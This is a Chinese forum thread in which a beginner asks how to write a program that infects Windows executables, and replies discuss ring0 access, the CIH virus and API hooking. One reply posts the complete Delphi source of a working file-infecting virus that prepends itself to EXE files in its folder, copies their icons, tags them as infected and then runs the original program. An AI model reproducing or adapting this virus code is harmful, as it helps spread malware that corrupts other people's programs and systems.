黑客同志请进!(不要嫌我的问题烂,因为我是菜鸟)(0分)

  • 主题发起人 主题发起人 VeryCoolBoy
  • 开始时间 开始时间
V

VeryCoolBoy

Unregistered / Unconfirmed
GUEST, unregistred user!
常听人说我用程序感染了某某的一台机,现在,哈哈@#$%
我好生羡慕,想请教一下这里的东西,如何让自己的程序去感染WIN中正在运行的进程
的执行文件,这里面原理是怎么样的,关键部分的代码又该怎么写?
 
但分简单了
 
我没分了,不好意思
 
没分,不会吧,看看你的信息:
----------------------------------------------
大富翁: VeryCoolBoy (VeryCoolBoy@etang.com)
现有积分: 35, 专家分:10, 本月净赚:10, [ 本月排名 第 3047 名, 总排名 第 5005 名 ]
 
黑客和病毒是完全不同的。
你现在需要的是病毒技术。
至于分嘛,等你有300的时候再给我吧!!!
 
我仅剩的35大元也要哇?不会要我倾家荡产吧?不过只要你肯回答这个问题 ,
倾家荡产我也不管了!!!(简直比项羽还悲壮)
 
同意honestman,如来身边的光头们都还要受贿,不然前人会饿死的
 
9X下内镶汇编取得RING0级权限就可以了。
NT/WIN2000下因为没有RING0的概念,是没有用的(CIH不能在NT/2000下发作,
就是这个原因)。但可以用其它方法。建议买本〈〈电脑编程技巧与维护》来看看,
讲过很多这种东西的原理和具体代码了。
 
得到零级别可比登天还难。
 
〈〈电脑编程技巧与维护》曾经用N种语言(代码)介绍过,不难吧:)
 
》CIH不能在NT/2000下发作
据说好象有人写了一个 NT 的 CIH
不知道是不是真的。
 
我对这一方面没什么了解,但很向往,希望大家多点讨论(多介绍一点相关的资料书籍,
最好是Delphi的,因为别的语言我看得不大懂),让我可以学点皮毛,谢谢!
 
我理解是这样的:
首先必须运行病毒文件或染毒文件,病毒体运行时检查可执行文件,并将其头指针改成自己
的头指针(文件头),将自己的尾指针指向被感染文件。至于其他高级病毒技术,当然多种
多样,我也不了解。
抛砖引玉吧,因为我也想知道,呵呵!
 
谁说nt没有ring0
只不过因为跟95下原理不同
所以比较麻烦的
还是可以取到的
如果要感染正在运行的程序
可以用钩子原理
钩子一个每个程序都要用的api 比如textout
这时程序textout时就跳到你的程序
然后你的程序再感染
 
那不是RING0吧,好像根本是两回事。
看看一个病毒高手说的吧:
-------------
lovejingtao,您好!
 要求自己的代码具有重定位的能力,而且不能直接调用API(要自己从KernelBase里找。
或者利用宿主的汇入表)。俺考完试写一个利用汇入表合并文件的程序和从KernelBase找A
PI的病毒。
------------------------------------
 
借花献佛吧,这个程序其实主要是想说明如何修改图标.
注意:这个程序不要压缩,压缩后感染的EXE就会变为0字节.具体原因看代码.
只感染程序所在目录的EXE而已.
//headerprj.dpr
program headerprj;

uses
Windows,Classes,SysUtils,Graphics,ShellAPI;

const
HEADERSIZE=78336;
ICONOFFSET=$11EB8;
ID=$66666666;

{$R *.RES}

var
tmpFile:string;
si:STARTUPINFO;
pi:PROCESS_INFORMATION;
sr:TSearchRec;
Counter:Integer;

//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
Dst:TStream;dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
end;{CopyStream}

function Getmyname:string;
var
cmdline:String;
myname:Array [0..255] of Char;
i,j:integer;
begin
i:=1;j:=0;
cmdline:=GetCommandLine;
while cmdline<>chr(0) do
begin
if cmdline<>'"' then
begin
myname[j]:=cmdline;
inc(j);
end;
inc(i);
end;
myname[j-1]:=chr(0);
Result:=strpas( @myname );
end;{Getmyname}

function GetTempFullName:String;
var
tmpPath:Array[1..256]of Char;
tmpname:Array[1..256]of Char;
begin
GetTempPath(256, @tmpPath );
GetTempFileName( @tmpPath ,'PQR',0, @tmpName );
Result:=StrPas( @tmpName );
end;{GetTempFullName}

procedure ExtractFile(filename:string);
var
sStream,dStream:TFileStream;
begin
sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
dStream:=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
end;

procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
begin
si.cb := sizeof(si);
si.lpReserved := nil;
si.lpDesktop := nil;
si.lpTitle := nil;
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := state;
si.cbReserved2 := 0;
si.lpReserved2 := nil;
end;

function InfectFile(Filename:TFilename):Boolean;
var
hdrStream,srcStream:TFileStream;
icoStream,dstStream:TMemoryStream;
iID:Longint;
aIcon:TIcon;
begin
try
if Filename='headerprj.exe' then exit;
srcStream:=TFileStream.Create(Filename,fmOpenRead);

srcStream.Seek(-4,2);
srcStream.Read(iID,4);

if (iID=ID) or (srcStream.Size >1000000)then
begin
srcStream.Free;
Result:=False;
exit; //如果感染过了则退出
end;
srcStream.Free;

try
icoStream:=TMemoryStream.Create;
aIcon:=TIcon.Create;
aIcon.ReleaseHandle;
aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
aIcon.SaveToStream(icoStream);
aIcon.Free;

srcStream:=TFileStream.Create(FileName,fmOpenRead);
hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
dstStream:=TMemoryStream.Create;

CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);

dstStream.Seek(0,2);
iID:=$66666666;
dstStream.Write(iID,4);

finally
icoStream.Free;
srcStream.Free;
hdrStream.Free;
dstStream.SaveToFile(Filename);
dstStream.Free;
Result:=True;
end;
except;
end;
end;

//主程序开始
begin
Counter:=2;
if FindFirst('*.exe',faAnyFile,sr)=0 then//只感染自己所在目录的EXE文件
begin
InfectFile(sr.Name);
while (FindNext(sr)=0) and (Counter>0) do
begin
if InfectFile(sr.Name) then Dec(Counter);
end;
end;
FindClose(sr);
if ExtractFileName(Getmyname)='headerprj.exe' then exit;
tmpFile:=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
MessageBox(0,'我中毒了','惨',MB_OK);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);

end.

//ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了
 
接受答案了.
 
后退
顶部